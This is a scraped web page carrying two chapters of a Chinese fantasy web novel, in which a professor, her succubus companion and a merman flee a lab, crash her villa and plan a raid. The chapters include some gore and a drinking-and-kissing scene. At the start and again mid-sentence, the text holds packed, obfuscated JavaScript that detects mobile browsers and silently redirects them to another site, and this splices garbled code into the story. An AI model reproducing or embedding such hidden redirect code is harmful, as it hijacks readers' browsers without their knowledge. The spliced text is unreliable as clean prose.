RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470456|201450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我砸坏的大门,暂时抵挡住异族的进攻。 尖锐刺耳的电子警报撕裂空气,一长一短反复尖啸。 “警告警告,414号区域发现外来物种入侵!” “警告警告,414号区域发现外来物种入侵!” 我转头一看,后方已然一片血海。 蓝鱼和小魅两人,已经解决了414号内的五位研究人员。 小魅锋利的指甲上沾满了血。 414房间里没有实验体,只剩下还没送入冷冻库的不知名异族内脏。 蓝鱼将一坨还在跳动的不规则球体托在掌心:“人鱼心脏。” 小魅逐一检查过内脏:“全都是,它们脱离本体后还在跳动。” 我见怪不怪:“快速降温,保存在HTK液里,还在心脏中加入了活化剂,让细胞暂时保持较高活性,用来做器官移植。” 现在不是科普的时候。 这里的墙体和外面不一样,质地偏软,手都能嵌进去。 这是什么材料?我从没见过,是新研究出来的吗? 墙体渗出红色的血渍,墙上还沾着一些鳞片。 我把蓝鱼叫过来:“你想见见族人吗?他们很可能被嵌在里面了。” 我可真够诛心的。 小魅用尖指甲狠狠一划,墙体被割开一道口子。 红色血液更是汹涌地冒了出来。 我双手插进缝隙里,往外一掰,裂缝扩大,露出了挂着肉的骨头。 刹那间,我的手突然传来一阵灼烧感,墙体在腐蚀我的手! “哦沸沸沸,我的天!” 我赶紧抽回手,不停地甩动。 小魅也赶紧上嘴吹,不停地为我降温。 失去外力干扰后,墙壁开始自动愈合。 完了,墙缝里的人鱼彻底没救了,短短片刻,尸体就被腐蚀掉大半。 后方由外骨骼构成的屏障传来“砰砰砰”的巨响,外面的异族正在猛烈撞击。外骨骼也开始出现回收的趋势。 我抓紧时间,将剩余的外骨骼覆盖在双臂上:“别难过了,两位!帮我撕一个大一点的口子!” 蓝鱼带着怒意狠狠一划,趁伤口愈合前,我双臂狠狠插进缝隙。 现在,我要把整面墙彻底撕开!! 外骨骼被腐蚀得滋滋作响,身后的大门也被撞得摇摇欲坠。 墙体仿佛感受到了剧痛,外面的警报声更加急促,还夹杂着痛苦而诡异的嘶吼。 这面墙,居然是活的! 快了快了! 用力! 彻底拉开后,里面又露出一面石墙。 不是吧,还有第二关。 我死死撑着半人宽的裂缝,小魅和蓝鱼用脚卡进缝隙,给我腾出一只手。 石墙比钢管难砸得多。 我操控外骨骼调整姿态,手肘部位变形为推进器。 推进器内γ链相互挤压,爆发出一股强劲的前冲力。 一拳砸下。 石墙应声破碎,被砸出一个大洞。 没有海水涌入,外面是漆黑的夜空。 “走!” 在后方大门被撞开的前一瞬,我们纵身跃入海中。 现在只能快速给鲸鱼装上小型螺旋桨,没法全面武装。 后方的潜水艇紧追不舍。 “蓝鱼,把我们传送回异空间!” 刹那间,海水扭曲,滔天巨浪席卷而来。 我们从原地消失。 没办法,只能去搬救兵了。 14. 饲养魅魔第十四天 噫吁嚱! 噫吁嚱! 危乎高哉! 蠢鱼,你的鲸鱼怎么上天了?! “啊啊啊啊啊!” 一声剧烈的撞击,巨大的鲸鱼径直砸进一个小水池里。小小的水池瞬间被砸塌,冲击掀飞了碎裂的瓷砖,不知飞向何处。 “噼里啪啦——” 听这动静,像是谁家的玻璃碎了,顺带连整栋房子都被砸烂了。 可千万别伤到无辜的人才好。 鲸鱼把我们吐了出来,我抬头一看—— 蠢鱼!! 这是我家!! 我家被砸烂了!! 我傻眼了。 小魅也傻眼了。 蓝鱼呆呆地站着,望着被毁掉一半的别墅,彻底石化。 这得赔多少钱啊? 我恨不得揪着蓝鱼的衣领,狠狠给他几个大耳刮子。 小魅问道:“你怎么传送到这里来了?” 蓝鱼说:“不知道啊,我下意识就把锚点定在这儿了。” “我还以为你会锚在水族馆。” 蓝鱼果断摇头:“不行,那地方太小了。” 我不断吸气——呼气——吸气——呼气—— 啊哈哈,都两百岁的教授了,什么大场面没见过,情绪稳定,稳定…… 对对,蓝鱼这是在夸我别墅大。 我阴恻恻地转过头,嘿嘿笑了两声。 “蓝鱼,赔钱。” 蓝鱼连忙点头:“我赔,我赔,你要多少,我贷款都赔。” “给我重建。” “行。” 蓝鱼的空间能力,只能在开阔地带瞬间传送到锚点。 唉……能力是好能力,就是限制太大。 对我别墅的破坏,那就更大了! 我抹了把脸,对蓝鱼说:“你先回去,我制定一个捣毁犯罪窝点的计划。你千万别动脑子,也千万别冲动,等小魅喊你。” 我毫不客气地指着他:“记住,你和你的家人一定要藏好,别露面。他们很可能会下发通缉令。” 小魅担忧地看着我:“那主人你呢?” 我摸了摸他的头:“通缉令什么的,我早就习惯了,没关系,小场面。我好歹也是有名有姓的大人物,还有点人脉。就算他们发现是我,暂时也不敢把我怎么样。” 蓝鱼离开了。 我和小魅坐在支离破碎的房子前,疲惫地叹了口气。 小魅一句“对不起”,打断了我的思绪。 我把他紧紧搂进怀里:“怎么了?” 小魅的身子越缩越低,最后靠在我的腿上:“对不起,主人,这件事真的很麻烦、很危险,我不该把你拖下水的……” 他把脸埋进手心:“主人很累了吧……虽然现在说这些已经晚了,但是……主人你还是别参与进来了。” 他的尾巴“噗”地冒出来,软软地瘫在地上。 我把他的尾巴握在手里,有一下没一下地轻轻捏着。 “啊……这件事,确实挺烦的。” 小魅在我怀里一动不动,尾巴也没了力气,任由我摆弄。 我轻笑一声:“不过,对我有利。这票干完有钱赚,我还能借着媒体包装,变成英雄,名利双收。” “……真的吗?” “当然是真的。” 我把他拉起来,让他面对着我。 “看着我,小魅。” 很久没好好看过他这双粉色的眼睛了,还有点想念。 我对着他笑得吊儿郎当:“当然是真的,没钱赚的事,我可不干。那群人的实验室你也看见了吧?” 小魅点点头。 我耐心地向他解释:“实验室的墙壁,要么是新材料,要么是新物种,甚至可能是星系物种的变态产物。这种未公开的东西价值极高,可星海猎船那帮人却选择隐瞒。他们背后牵扯的那些星系势力,肯定不会善罢甘休,这就是我们的切入点。” 我抱住他,他的下巴抵在我的肩上。 “听懂了吗?”我问。 小魅哑声应道:“嗯……” · 我的家彻底没法住了。 我实在受不了人鱼那片没网络、还让我多次晕吐的大海,现在总算连上网络了。 脑环里传来江寄舟欠揍的声音:“喂,是姚教授啊?听说你最近没去上课,家里也没人,我上司找你都快找疯了。” 我打开视频,江寄舟这家伙却直接挂了,我们只能语音聊天。 “别废话,我家没了,现在在国都中央大酒店,你赶紧过来,有正事说。” 江寄舟懒洋洋地怪叫一声:“哈?” “啧,给你钱。” “OK啊,马上到。” 这件事说大不大,说小不小。 我手里有钱,也有一点权力,学术界有人脉,军方那边还有江寄舟。 我在想,能不能看在我的面子上,调一支队伍过来,端掉那个地方。 不过是动动嘴皮子的事。 看见了吧,这就是社会地位高的好处。 江寄舟大大咧咧地坐在总统套房的真皮沙发上,一口一口品着拉菲,满足地喟叹一声。 她抬眼瞥了一眼略显局促的小魅。 “咱们姚教授,果然也是难过美人关啊。” 我捏起一个纸团砸过去:“少贫嘴,就问你这事能不能办。” “能是能,可要是上面派你去研究那面墙,或者继续研究杂交种……” 我握住小魅微微颤抖的手:“我不研究杂交种。用你的人脉,帮我调一支军方队伍过来。” “这……” 我立刻接话:“我出钱,资助你进阶机甲研究一半的费用。” 江寄舟伸手与我相握:“成交。” 小魅松了口气,软软地瘫在床上。 我新开了一瓶酒,倒了两杯。小魅接过,又轻轻放在茶几上。 我问:“你很怕她?” 小魅:“不是……就是觉得,她很……呃,幽默。” 我也不藏着:“对,她就爱捉弄人,恶趣味多得很,俗称情商低。” 小魅讪讪笑道:“还好吧……江博士看上去不像那样的人……” 我一个眼刀扫过去,小魅立刻改口:“肯定比不上我们姚教授!” 我尾巴都快翘上天了:“切,这还差不多。” “主人跟江博士关系很好啊。” “哼,一般般。” 我把杯里的拉菲一口喝完,和他并排躺在床上。 我们侧过身,面对面。 指尖从他的额头缓缓划到嘴角…… 小魅觉得有点痒,却也没躲,只是嗤嗤地笑。 我又划了一遍,小魅问:“姚教授在干嘛?喝醉了吗?” 我摇摇头,朝他轻轻吐了口气。 他闷哼一声,音调弯弯曲曲,皱着眉往后躲:“酒味好重。” 你越躲我越凑:“还好啦,你也太敏感了吧,这才13.5度。” 小魅放弃挣扎,乖乖窝进我怀里。 “我没喝过酒。” 我坏心眼上来:“要不要尝一口?” 小魅拒绝得比闪电还快:“才不要。” 我不依了,抓着他的肩膀轻轻摇晃,耍赖道:“来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470457|201450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘛来嘛,就尝一口,很好喝的。” 接着打感情牌:“我这几天课也没上,学校也没去,钱也没赚,身心俱疲……” “宝贝……” 小魅动摇了,轻轻点了点头。 我立刻得寸进尺,抢先端起那杯没喝的酒。 小魅的手还在空中没收回去:“不是我喝……” 我仰头闷了一口,下一秒就抓住他的手腕往我这边拉。 酒液在杯中晃荡,险些泼洒出来。 太久没亲亲了,得补一补。 俯身下去,唇瓣相触的瞬间,酒液从口中缓缓渡过去。温热微涩的液体漫过他的唇齿。 我舌尖轻轻一抵,像在喂一只不肯主动饮水的小鸟。 小魅猛地抓紧了我的衣摆。 酒液顺着嘴角溢出一点,沿着下颌线缓缓滑落,一道暗红的痕迹留在上面,剩下的滴滴答答沾湿了床单。 酒渡完了。 他舌尖轻轻舔掉唇上残留的酒渍,眼神有些涣散地望着我嘴角那道红痕。 我轻轻拍了拍他,让他眼神聚焦,随后笑嘻嘻地凑过去。 他忍不住笑了,对着那道酒渍轻轻亲了一下。 一阵濡湿温热的触感传来,像小鹿轻舔掌心,轻轻的,柔柔的。 我把脸凑到他面前,转了一圈:“脸上还有吗?” “没了。” “可是你有。” 他学着我的样子凑了过来。 一来一往,倒也算得上是“君子之交”。 我们换了个姿势,盘腿面对面坐在床上。 我晃着手中的酒杯,好奇地问小魅:“感觉怎么样?” 小魅:“你是问酒,还是吻?” 我得分个主次:“先说酒。” 小魅想了想:“还行,有点冲脑,不算难喝,但我不会主动喝。” “那吻呢?” 小魅眼睛一亮,尾巴从身后冒出来,在我大腿上轻轻打着圈:“喜欢,还想要。” 我十分满意,这算是对我能力的认可。 “那你什么时候会主动喝?” 小魅拿过我手里的酒杯:“和吻一起的时候,我就愿意喝。” 我们相视一笑,心意相通。 他也一口闷完,尾巴一卷,把我拉了过去。 OK,回合制开始。 反正我们把一整瓶都喝完了。 然后,小魅醉了。 小魅迷迷糊糊地躺在我身边,我给他盖好被子。 他口中喃喃:“主人再给我洗澡……” 我把他搂进怀里:“都洗完了,还说呢。” “谢谢……” 我伸手在被子外轻轻拍着,哄他入睡:“不客气,对我来说,这也是一种乐趣。” 小魅翻了个身,闷在我胸口,尾巴缠着我的腰,腿也搭在我的大腿上。 他一喝醉就这么奔放吗? 下次还是适量点吧。 “主人?” “怎么了?” 小魅的气息扑在我的锁骨上:“谢谢,辛苦了……” 他再说我为他的奔忙的事:“嗯……那就再让我抱抱吧。” 他的声音越来越轻:“亲亲也可以。” “那就再让我亲亲吧。” “***也可以。” 这句我没听清:“什么?” 小魅睡着了。 好好睡吧,这段时间辛苦你了。 还不知道星海猎船那边现在是什么情况。 江寄舟……江博士。 老朋友,可得给力点。把那个窝点端了,我再给你一大笔钱。